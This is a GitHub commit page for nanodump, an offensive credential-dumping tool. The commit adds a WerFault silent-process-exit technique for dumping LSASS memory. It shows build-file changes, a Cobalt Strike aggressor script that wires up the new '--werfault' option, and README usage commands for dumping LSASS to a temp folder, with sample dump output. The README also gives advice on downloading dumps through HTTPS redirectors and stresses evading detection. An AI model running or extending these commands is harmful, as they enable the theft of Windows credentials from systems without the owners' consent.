☰ Sign in

fortra / nanodump Public

Notifications · Fork 238 · Star 1.8k

Code · Issues · Pull requests · Actions · Security · Insights

# Commit

## add WerFault Silent Process Exit: --werfault

Browse files

```
now you can let WerFault dump lsass for you :)
No handle to LSASS needed!
```

Loading branch information

**S4ntiagoP** committed on Jun 23, 2022 · 1 parent 91d7b5c · commit 578116f

Showing **29 changed files** with **1,953 additions** and **44 deletions**.

Whitespace · Ignore whitespace · Split · Unified

Filter changed files

- Makefile.mingw
- Makefile.msvc
- NanoDump.cna
- README.md
- dist

22 🟩🟩🟥🟥 Makefile.mingw

```
@@ -9,19 +9,19 @@ OPTIONS := -masm=intel -Wall -I include
 9   9      nanodump: clean
10  10              $(info ###### RELEASE ######)
11  11
12       -          $(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE
    12   +          $(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE
13  13              $(STRIP_x64) --strip-all dist/$(BOFNAME).x64.exe
14  14
```

```diff
-	$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE
+	$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE
 	$(STRIP_x86) --strip-all dist/$(BOFNAME).x86.exe
 
 	$(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF
 	$(STRIP_x64) --strip-unneeded dist/$(BOFNAME).x64.o
 
-	$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared
+	$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared
 	$(STRIP_x64) --strip-all dist/$(BOFNAME)_ssp.x64.dll
 
-	$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared
+	$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared
```

```
25   25          $(STRIP_x86) --strip-all dist/$(BOFNAME)_ssp.x86.dll
26   26
27   27          $(CC_x64) -c source/load_ssp.c -o dist/load_ssp.x64.o $(OPTIONS) -DBOF
@@ -42,7 +42,7 @@ nanodump: clean
42   42          $(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl.x64.dll
43   43          ./dist/bin2c dist/$(BOFNAME)_ppl.x64.dll nanodump_ppl_dll > include/$(BOFNAME)_ppl_dll.x64.h
44   44
45        -      $(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl.x86.dll $(OPTIONS) -DNANO -DPPL -DDDL -shared
     45   +      $(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME)_ppl.x86.dll $(OPTIONS) -DNANO -DPPL -DDDL -shared
46   46          $(STRIP_x86) --strip-all dist/$(BOFNAME)_ppl.x86.dll
47   47          ./dist/bin2c dist/$(BOFNAME)_ppl.x86.dll nanodump_ppl_dll > include/$(BOFNAME)_ppl_dll.x86.h
48   48
@@ -60,15 +60,15 @@ nanodump: clean
60   60      debug: clean
61   61          $(info ###### DEBUG ######)
62   62
63        -      $(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE -DDEBUG
     63   +      $(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
```

```
-o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE -DDEBUG

- 	$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE -DDEBUG
+ 	$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE -DDEBUG

  	$(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF -DDEBUG

- 	$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG
+ 	$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG

- 	$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c  source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG
+ 	$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG
```

```

        $(CC_x64) -c source/load_ssp.c -o dist/load_ssp.x64.o $(OPTIONS) -DBOF -DDEBUG

@@ -80,10 +80,10 @@ debug: clean

        $(GCC) source/bin2c.c -o dist/bin2c

-       $(CC_x64) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl.x64.dll $(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
+       $(CC_x64) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME)_ppl.x64.dll $(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
        ./dist/bin2c dist/$(BOFNAME)_ppl.x64.dll nanodump_ppl_dll > include/$(BOFNAME)_ppl_dll.x64.h

-       $(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl.x86.dll $(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
+       $(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME)_ppl.x86.dll $(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
        ./dist/bin2c dist/$(BOFNAME)_ppl.x86.dll nanodump_ppl_dll > include/$(BOFNAME)_ppl_dll.x86.h

```

```
	$(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl.x64.exe $(OPTIONS) -DEXE -DPPL -DDEBUG
```

18 🟩🟩🟥🟥⬜ Makefile.msvc

```
@@ -6,8 +6,8 @@ nanodump:
 	@echo ###### RELEASE ######
 	ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
 
-	cl.exe -DNANO -DEXE $(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
-	link.exe /OUT:dist\nanodump.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj modules.obj syscalls-asm.obj syscalls.obj
+	cl.exe -DNANO -DEXE $(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
+	link.exe /OUT:dist\nanodump.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj werfault.obj modules.obj syscalls-asm.obj syscalls.obj
 
 #	cl.exe -DNANO -DBOF /Fo:dist\nanodump.x64.o $(OPTIONS) source/entry.c
 
@@ -23,8 +23,8 @@ nanodump:
 
 	cl.exe source/bin2c.c /Fe:dist\bin2c.exe
 
```

```
26       -        cl.exe -DNANO -DPPL -DDLL $(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
27       -        link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj
     26  +        cl.exe -DNANO -DPPL -DDLL $(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
     27  +        link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj werfault.obj
28   28           .\dist\bin2c.exe dist\nanodump_ppl.x64.dll nanodump_ppl_dll > include\nanodump_ppl_dll.x64.h
29   29
30   30           cl.exe -DEXE -DPPL $(OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c
         @@ -36,8 +36,8 @@ debug:
36   36           @echo ###### DEBUG ######
37   37           ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
38   38
39       -        cl.exe -DNANO -DEXE -DDEBUG $(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
40       -        link.exe /OUT:dist\nanodump.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -
```

```diff
nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj modules.obj syscalls-asm.obj syscalls.obj
+	cl.exe -DNANO -DEXE -DDEBUG $(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
+	link.exe /OUT:dist\nanodump.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj werfault.obj modules.obj syscalls-asm.obj syscalls.obj
 
 #	cl.exe -DNANO -DBOF -DDEBUG /Fo:dist\nanodump.x64.o $(OPTIONS) source/entry.c
 
@@ -53,8 +53,8 @@ debug:
 
 	cl.exe source/bin2c.c /Fe:dist\bin2c.exe
 
-	cl.exe -DNANO -DPPL -DDLL -DDEBUG $(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
-	link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj
+	cl.exe -DNANO -DPPL -DDLL -DDEBUG $(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
+	link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib
```

```
entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj werfault.obj
58   58          .\dist\bin2c.exe dist\nanodump_ppl.x64.dll nanodump_ppl_dll > include\nanodump_ppl_dll.x64.h
59   59   
60   60          cl.exe -DEXE -DPPL -DDEBUG $(OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c
          @@ -63,4 +63,4 @@ debug:
63   63          cl.exe source/restore_signature.c /Fe:scripts\restore_signature.exe
64   64   
65   65   clean:
66      -        @del /Q token_priv.obj dinvoke.obj entry.obj handle.obj load_ssp.obj malseclogon.obj modules.obj nanodump.obj syscalls-asm.obj syscalls.obj utils.obj dist\delete_file.x64.o dist\load_ssp.x64.exe dist\load_ssp.x64.o dist\nanodump.x64.exe dist\nanodump.x64.o dist\nanodump_ssp.x64.dll dist\nanodump_ssp.x64.exp dist\nanodump_ssp.x64.lib dist\nanodump_ppl.x64.lib dist\nanodump_ppl.x64.dll
     66 +        @del /Q token_priv.obj dinvoke.obj entry.obj handle.obj load_ssp.obj malseclogon.obj werfault.obj modules.obj nanodump.obj syscalls-asm.obj syscalls.obj utils.obj dist\delete_file.x64.o dist\load_ssp.x64.exe dist\load_ssp.x64.o dist\nanodump.x64.exe dist\nanodump.x64.o dist\nanodump_ssp.x64.dll dist\nanodump_ssp.x64.exp dist\nanodump_ssp.x64.lib dist\nanodump_ppl.x64.lib dist\nanodump_ppl.x64.dll
```

28 ■■■■□ NanoDump.cna

```
          @@ -41,9 +41,9 @@ local('$string $c');
41   41   beacon_command_register(
42   42   "nanodump",
43   43   "Use syscalls to dump LSASS.",
44      - "Usage: nanodump [--getpid] [--write C:\\Windows\\Temp\\doc.docx] [--valid] [--fork] [--snapshot] [--dup] [--malseclogon] [--binary C:\\Windows\\notepad.exe]");
```

```
+"Usage: nanodump [--getpid] [--write C:\\Windows\\Temp\\doc.docx] [--valid] [--fork] [--snapshot] [--dup] [--malseclogon] [--binary C:\\Windows\\notepad.exe] [--werfault C:\\Windows\\Temp]");
 alias nanodump {
-    local('$barch $handle $bof $exe $args $pid $cname $dump_path $write_file $use_valid_sig $fork $snapshot $dup $i $get_pid $use_malseclogon $folder $nanodump_binary');
+    local('$barch $handle $bof $exe $args $pid $cname $dump_path $write_file $use_valid_sig $fork $snapshot $dup $i $get_pid $use_malseclogon $folder $nanodump_binary $werfault_lsass $use_werfault');
 
     $barch = barch($1);
     if($barch eq "x86")
@@ -69,6 +69,9 @@ alias nanodump {
         return;
     }
 
+    # by default, don't use werfault
+    $werfault_lsass = "";
+    $use_werfault = 0;
     # by default, don't set any decoy binary
     $binary_path = "";
     # by default, do not use MalSecLogon
@@ -167,6 +170,17 @@ alias nanodump {
                 return;
             }
         }
+        else if (@_[$i] eq "--werfault" || @_[$i] eq "-wf")
+        {
+            $i++;
+            if($i >= size(@_))
+            {
+                berror($1, "missing --werfault value");
+                return;
+            }
+            $use_werfault = 1;
+            $werfault_lsass = @_[$i];
+        }
```

```diff
            else if (@_[$i] eq "--help" || @_[$i] eq "-h")
            {
                berror($1, beacon_command_detail("nanodump"));
@@ -178,6 +192,14 @@ alias nanodump {
                return;
            }
        }
+       if ($use_werfault &&
+           ($fork || $snapshot || $dup ||
+            $use_malseclogon || $use_valid_sig || $get_pid ||
+            strlen($binary_path) != 0 || $write_file))
+       {
+           berror($1, "The option --werfault cannot be combined with any other");
+           return;
+       }

        if($fork && $snapshot)
        {
@@ -228,7 +250,7 @@ alias nanodump {
        }

        # pack the arguments
-       $args = bof_pack($1, "iziiiiiiiz", $pid, $dump_path, $write_file, $use_valid_sig, $fork, $snapshot, $dup, $get_pid, $use_malseclogon, $binary_path);
+       $args = bof_pack($1, "iziiiiiiiziz", $pid, $dump_path, $write_file, $use_valid_sig, $fork, $snapshot, $dup, $get_pid, $use_malseclogon, $binary_path, $use_werfault, $werfault_lsass);

        # run
        btask($1, "Running NanoDump BOF");
```

36 README.md

```diff
@@ -16,6 +16,7 @@ A flexible tool that creates a minidump of the LSASS process.
```

```diff
   <li><a href="#malseclogon-and-duplicate">MalSecLogon and handle duplication</a></li>
   <li><a href="#ssp">Load nanodump as an SSP</a></li>
   <li><a href="#ppl">PPL bypass</a></li>
+  <li><a href="#wer">WerFault</a></li>
   <li><a href="#params">Parameters</a></li>
   <li><a href="#examples">Examples</a></li>
   <li><a href="#redirectors">HTTPS redirectors</a></li>
@@ -160,8 +161,29 @@ To access this feature, use the `nanodump_ppl` command
 beacon> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp
 ```

+<h2 id="wer">10. WerFault</h2>
+You can force the WerFault.exe process to create a full memory dump of LSASS. Take into consideration that this requires to write to the registry

-<h2 id="params">10. Parameters</h2>
+Because the dump is not made by nanodump, it will always have a valid signature.
+
+To access this feature, use the `--werfault` parameter and the path there the dump should be created.
+```
+beacon> nanodump --werfault C:\Windows\Temp\
+```
+
+A dump of the nanodump process will also be created, similar to this:
+```
+PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
+
+Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
+
+Mode                 LastWriteTime         Length Name
+----                 -------------         ------ ----
```
```

~~~
+ -a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
+ -a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp
+ ```
+ 
+ <h2 id="params">11. Parameters</h2>
  
  #### --getpid
  Get PID of LSASS and leave.
@@ -194,8 +216,10 @@ Leak a handle to LSASS using MalSecLogon.
  Path to a binary such as `C:\Windows\notepad.exe`.
  This option is used exclusively with `--malseclogon` and `--dup`.
  
+ #### --werfault -wf < folder >
+ Path to the folder where the WerFault process will create an LSASS dump.
  
- <h2 id="examples">11. Examples</h2>
+ <h2 id="examples">12. Examples</h2>
  
  Read LSASS indirectly by creating a fork and write the dump to disk with an invalid signature:
  ```
@@ -243,7 +267,12 @@ Dump LSASS bypassing PPL, duplicating the handle that csrss.exe has on LSASS:
  beacon> nanodump_ppl --dup --write C:\Windows\Temp\lsass.dmp
  ~~~

- <h2 id="redirectors">12. HTTPS redirectors</h2>
+ Make the WerFault.exe process create a full memory dump in the Temp folder:

+
  ```
+ beacon> nanodump --werfault C:\Windows\Temp\
+ ```
+ 
+ <h2 id="redirectors">13. HTTPS redirectors</h2>
  
  If you are using an HTTPS redirector (as you should), you might run into issues when downloading the dump filessly due to the size of the requests that leak the dump.
```

```
  Increase the max size of requests on your web server to allow nanodump to download the dump.
@@ -272,3 +301,4 @@ location ~ ^...$ {
  - [Matteo Malvica](https://twitter.com/matteomalvica) for [Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start](https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/)
  - [James Forshaw](https://twitter.com/tiraniddo) for [Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)
  - [itm4n](https://twitter.com/itm4n) for the original PPL userland exploit implementation, [PPLDump](https://github.com/itm4n/PPLdump).
+ - [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [Lsass Memory Dumps are Stealthier than Ever Before - Part 2](https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2)
```

BIN +1.98 KB (110%) dist/delete_file.x64.o

Binary file not shown.

BIN +1.5 KB (100%) dist/load_ssp.x64.exe

Binary file not shown.

BIN +2 KB (110%) dist/load_ssp.x64.o

Binary file not shown.

BIN +512 Bytes (100%) dist/load_ssp.x86.exe

Binary file not shown.

BIN +8 KB (110%) dist/nanodump.x64.exe

Binary file not shown.

BIN +8.62 KB (120%) dist/nanodump.x64.o

Binary file not shown.

BIN +7.5 KB (110%) dist/nanodump.x86.exe

Binary file not shown.

BIN +2.5 KB (110%) dist/nanodump_ppl.x64.dll

Binary file not shown.

BIN +3.5 KB (100%) dist/nanodump_ppl.x64.exe

Binary file not shown.

BIN +1.98 KB (100%) dist/nanodump_ppl.x64.o

Binary file not shown.

BIN +5.5 KB (110%) dist/nanodump_ppl.x86.dll

Binary file not shown.

BIN +6 KB (110%) dist/nanodump_ppl.x86.exe

Binary file not shown.

BIN +1 KB (100%) dist/nanodump_ssp.x64.dll

Binary file not shown.

BIN +1.5 KB (110%) dist/nanodump_ssp.x86.dll

Binary file not shown.

4 🟩🟩🟩🟩⬜ include/nanodump.h

```
@@ -20,6 +20,7 @@
20    20    #include "syscalls.h"
21    21    #include "token_priv.h"
```

```
   #include "malseclogon.h"
+  #include "werfault.h"
   #endif

   // amount of memory requested to write the dump: 200 MiB
@@ -110,6 +111,8 @@
    WINBASEAPI char *    __cdecl MSVCRT$strncat(char * _Dest,const char * _Source, size_t __n);
    WINBASEAPI int       __cdecl MSVCRT$_vscprintf(const char *format, va_list argptr);
    WINBASEAPI int       __cdecl MSVCRT$vsprintf_s(char *_DstBuf,size_t _Size,const char *_Format,va_list _ArgList);
+   WINBASEAPI size_t    __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+

    #define GetProcessHeap   KERNEL32$GetProcessHeap
    #define HeapAlloc        KERNEL32$HeapAlloc
@@ -138,6 +141,7 @@
    #define strncat    MSVCRT$strncat
    #define _vscprintf MSVCRT$_vscprintf
    #define vsprintf_s MSVCRT$vsprintf_s
+   #define wcslen     MSVCRT$wcslen
   #endif

   #define MINIDUMP_SIGNATURE 0x504d444d
```

2 include/ntdefs.h

```
@@ -16,6 +16,7 @@
    #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
   #endif

+  #define STATUS_SUCCES 0x00000000
   #define STATUS_UNSUCCESSFUL 0xC0000001
   #define STATUS_PARTIAL_COPY 0x8000000D
   #define STATUS_ACCESS_DENIED 0xC0000022
@@ -29,6 +30,7 @@
```

```
  #define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
  #define STATUS_BUFFER_TOO_SMALL 0xC0000023
  #define STATUS_OBJECT_NAME_COLLISION 0xC0000035
+ #define STATUS_ALERTED 0x00000101

  struct _RTL_BALANCED_NODE
  {
```

## 0 comments on commit `578116f`

Please sign in to comment.